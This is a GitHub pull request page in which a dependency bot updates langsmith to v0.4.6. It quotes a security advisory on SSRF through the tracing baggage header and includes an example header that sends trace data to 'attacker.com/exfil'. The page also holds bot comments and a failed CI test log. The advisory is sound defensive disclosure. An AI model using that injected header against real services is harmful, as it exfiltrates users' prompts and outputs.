Skip to content

fix(deps): update dependency langsmith to v0.4.6 [security]#4058

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-langsmith-vulnerability
Open

fix(deps): update dependency langsmith to v0.4.6 [security]#4058
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-langsmith-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Feb 15, 2026

This PR contains the following updates:

Package Change Age Confidence
langsmith 0.3.730.4.6 age confidence

GitHub Vulnerability Alerts

CVE-2026-25528

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.


Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.


Attack Vector

  1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

    baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
    
  2. The service parses the header via RunTree.from_headers(), storing the attacker's URL

  3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil


Impact

  • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
  • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

  • Use TracingMiddleware to automatically propagate tracing context
  • Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

  • Python: pip install langsmith>=0.6.3
  • JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.


Workarounds

If unable to upgrade immediately:

  • Strip or validate the baggage header before passing to from_headers()
  • Do not use TracingMiddleware with untrusted traffic

Release Notes

langchain-ai/langsmith-sdk (langsmith)

v0.4.6

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.5...v0.4.6

v0.4.5

Compare Source

What's Changed

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.4.4...v0.4.5

v0.4.4

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.3...v0.4.4

v0.4.3

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.2...v0.4.3

v0.4.2

Compare Source

What's Changed
New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.4.1...v0.4.2

v0.4.1

Compare Source

What's Changed

Full Changelog: langchain-ai/langsmith-sdk@v0.4.0...v0.4.1

v0.4.0

What's Changed

  • feat: OTEL_ENABLED mode sends to both otel and ls, while allowing otel only through OTEL_ONLY var by @​EugeneJinXin in #​1762

New Contributors

Full Changelog: langchain-ai/langsmith-sdk@v0.3.45...v0.4.0


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested a review from a team as a code owner February 15, 2026 11:14
@renovate renovate bot requested review from NoritakaIkeda and sasamuku and removed request for a team February 15, 2026 11:14
@vercel
Copy link
Copy Markdown

vercel bot commented Feb 15, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
liam-app Ready Ready Preview, Comment Mar 14, 2026 9:07pm
liam-assets Ready Ready Preview, Comment Mar 14, 2026 9:07pm
liam-docs Ready Ready Preview, Comment Mar 14, 2026 9:07pm
liam-erd-sample Ready Ready Preview, Comment Mar 14, 2026 9:07pm
liam-storybook Ready Ready Preview, Comment Mar 14, 2026 9:07pm

Request Review

@giselles-ai
Copy link
Copy Markdown

giselles-ai bot commented Feb 15, 2026

Finished running flow.

Step 1
🟢
On Pull Request OpenedStatus: Success Updated: Feb 15, 2026 11:14am
Step 2
🟢
gpt-5Status: Success Updated: Feb 15, 2026 11:15am
Step 3
🟢
Create Pull Request CommentStatus: Success Updated: Feb 15, 2026 11:15am

@giselles-ai
Copy link
Copy Markdown

giselles-ai bot commented Feb 15, 2026

Check changeset necessity

Status: NOT REQUIRED

Reason:

  • The only affected packages are internal: @liam-hq/agent and @liam-hq/schema-bench, both listed in the ignored packages.
  • No changes to target, user-facing packages (@liam-hq/cli, @liam-hq/erd-core, @liam-hq/schema, @liam-hq/ui).
  • The PR updates a third-party dependency (langsmith) and lockfiles/config only; no public API or behavior change in target packages.
  • This is a security/maintenance dependency bump within ignored/internal packages, which does not require a release.

Changeset (copy & paste):

<!-- No changeset required for this PR -->

Copy link
Copy Markdown
Contributor

@devin-ai-integration devin-ai-integration bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Devin Review: No Issues Found

Devin Review analyzed this PR and found no potential bugs to report.

View in Devin Review to see 3 additional findings.

Open in Devin Review

@github-actions
Copy link
Copy Markdown
Contributor

github-actions bot commented Feb 15, 2026

🤖 Agent Deep Modeling Execution

Started at: 2026-03-14 21:06:35 UTC

View Details

Command Output

@liam-hq/agent@0.1.0 execute-deep-modeling /home/runner/work/liam/liam/frontend/internal-packages/agent
pnpm test:integration src/createGraph.integration.test.ts

@liam-hq/agent@0.1.0 test:integration /home/runner/work/liam/liam/frontend/internal-packages/agent
vitest --watch=false --passWithNoTests --config vitest.config.integration.ts src/createGraph.integration.test.ts

RUN v3.2.4 /home/runner/work/liam/liam/frontend/internal-packages/agent

(node:8028) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use node --trace-warnings ... to show where the warning was created)

✅ [INFO] 2026-03-14T21:06:37.962Z
LangSmith Trace URL: https://smith.langchain.com/o/eed4d2d8-0bd8-4ca4-a452-4da88ef63fd6/projects/p/9324fe51-27a4-4604-a52b-c6cc240f6dcc?searchModel=%7B%22filter%22%3A%22and(eq(is_root%2C%20true)%2C%20and(eq(metadata_key%2C%20%5C%22thread_id%5C%22)%2C%20eq(metadata_value%2C%20%5C%2272040d6d-f89d-4cde-a697-5785106b7c21%5C%22)))%22%7D
stderr | src/createGraph.integration.test.ts > createGraph Integration > should execute complete workflow
Failed to Failed to send multipart request. Received status [403]: Forbidden. Message:

Context: trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=52c390bb-06e3-4d5c-ad67-40c5e920c53a; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=d273f480-9301-4ee2-803b-063e02fbb0a3; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=9138c76b-368c-4dbe-a5e2-006a0f1da4a8; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=2e413fbe-1089-42a7-a856-d65711114eb6; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=0d99294e-7530-40b1-87e8-129fa95154a4; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=0f731089-c717-494f-811c-ec4158bd1dc3; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=60d629f5-df2a-426f-b14d-dfa4cb884d9d; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=d341b23a-11e8-46b2-abd5-ae3025d08d4e; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=b931fe91-3afd-4f55-817d-1e1f07462a6f; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=ee66a441-0bf9-417e-b005-84d9e15c20e7; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=ff7ce00c-e144-48dd-b686-33e5800de62b; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=4a738887-17e0-4c1e-ba77-920c553445b8; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=f86f4ae7-8151-4cc9-847c-a243c95dba28; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=f4c5a5dd-95f0-4915-b6d4-78b204a8c2ff; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=fec20c4e-2410-429c-8422-db349a1cdafb; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=1ca94c12-46fb-471c-b911-0a2eb29c0ff9; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=969ae3fb-9976-4a86-894f-170a6694e181; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=a29d25aa-190b-498f-a3d0-4e6873019d4f; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=a4ba5b33-127f-4dea-9bb9-82f684fa6c19; trace=52c390bb-06e3-4d5c-ad67-40c5e920c53a,id=0c91f83b-c582-4899-8caf-dc3b07fda8bf

x

⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯

FAIL src/createGraph.integration.test.ts > createGraph Integration > should execute complete workflow
WorkflowTerminationError: Error in analyzeRequirementsNode: 401 Incorrect API key provided: sk-proj-********************************************************************************************************************************************************N7kA. You can find your API key at https://platform.openai.com/account/api-keys.

Troubleshooting URL: https://js.langchain.com/docs/troubleshooting/errors/MODEL_AUTHENTICATION/

❯ RunnableCallable.analyzeRequirementsNode [as func] src/pm-agent/nodes/analyzeRequirementsNode.ts:38:11
36|
37| if (analysisResult.isErr()) {
38| throw new WorkflowTerminationError(
| ^
39| analysisResult.error,
40| 'analyzeRequirementsNode',
❯ RunnableCallable.invoke ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/utils.ts:85:21
❯ RunnableSequence.invoke ../../../node_modules/.pnpm/@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemetry+sdk-trace-base@2.2.0_@op_0a8880fa2f45d0308ed941fc53f9c9f1/node_modules/@langchain/core/dist/runnables/base.js:1308:33
runWithRetry ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/retry.ts:103:16
❯ PregelRunner.executeTasksWithRetry ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/runner.ts:330:27
❯ PregelRunner.tick ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/runner.ts:138:50
❯ CompiledStateGraph.runLoop ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/index.ts:2233:9
❯ createAndRunLoop ../../../node_modules/.pnpm/@langchain+langgraph@0.4.9_@langchain+core@0.3.78_@opentelemetry+api@1.9.0_@opentelemet_cd940287faf0db93d41d5fc1f29067cc/node_modules/@langchain/langgraph/src/pregel/index.ts:2092:9

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯

Test Files 1 failed (1)
Tests 1 failed (1)
Start at 21:06:36
Duration 2.32s (transform 490ms, setup 0ms, collect 1.50s, tests 547ms, environment 0ms, prepare 74ms)

 ELIFECYCLE  Command failed with exit code 1.
/home/runner/work/liam/liam/frontend/internal-packages/agent:
 ERR_PNPM_RECURSIVE_RUN_FIRST_FAIL  @liam-hq/agent@0.1.0 execute-deep-modeling: pnpm test:integration src/createGraph.integration.test.ts
Exit status 1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants